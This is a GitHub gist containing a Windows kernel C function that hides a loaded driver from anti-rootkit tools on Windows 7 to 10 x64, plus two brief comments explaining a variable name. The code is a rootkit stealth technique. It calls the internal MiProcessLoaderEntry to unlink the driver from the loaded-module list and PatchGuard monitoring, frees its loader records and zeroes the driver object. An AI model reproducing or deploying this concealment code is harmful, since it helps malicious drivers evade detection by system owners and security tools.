Skip to content

Instantly share code, notes, and snippets.

@typcn
Last active October 15, 2025 09:53
Show Gist options
  • Save typcn/5525e9b124097d0943645f6ef856db78 to your computer and use it in GitHub Desktop.
Save typcn/5525e9b124097d0943645f6ef856db78 to your computer and use it in GitHub Desktop.
Hide Driver from ARK tools ( win7 -- win10 x64, patchguard safe )
VOID DrvObjHide(_In_ PVOID Context) {
// Wait the driver fully loaded
NTSTATUS status = STATUS_SUCCESS;
INT64 interval = 1000 * -10000i64;
status = KeDelayExecutionThread(KernelMode,FALSE,(PLARGE_INTEGER)&interval);
PDRIVER_OBJECT driver_object = (PDRIVER_OBJECT)Context;
tMiProcessLoaderEntry fun = (tMiProcessLoaderEntry)FindMiProcessLoaderEntry();
// MiProcessLoaderEntry will remove your driver from PsLoadedModuleList, and the patchguard moniting context.
// So it won't trigger a BSOD
fun(driver_object->DriverSection,FALSE);
PLDR_DATA_TABLE_ENTRY DataTableEntry = (PLDR_DATA_TABLE_ENTRY)driver_object->DriverSection;
DataTableEntry->LoadCount -= 1;
if (DataTableEntry->FullDllName.Buffer != NULL) {
ExFreePool(DataTableEntry->FullDllName.Buffer);
}
if (DataTableEntry->SectionPointer != NULL) {
ObDereferenceObject(DataTableEntry->SectionPointer); // dereference the driversection
}
ExFreePool(DataTableEntry);
ExFreePool(driver_object->DriverName.Buffer);
RtlSecureZeroMemory(driver_object, sizeof(DRIVER_OBJECT));// zero the driver object
}
@krjan02
Copy link

krjan02 commented May 27, 2019

what the fuck is "fun"

@roralsorom
Copy link

fun = MiProcessLoaderEntry

MiProcessLoaderEntry(DriverObject->DriverSection, FALSE);

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment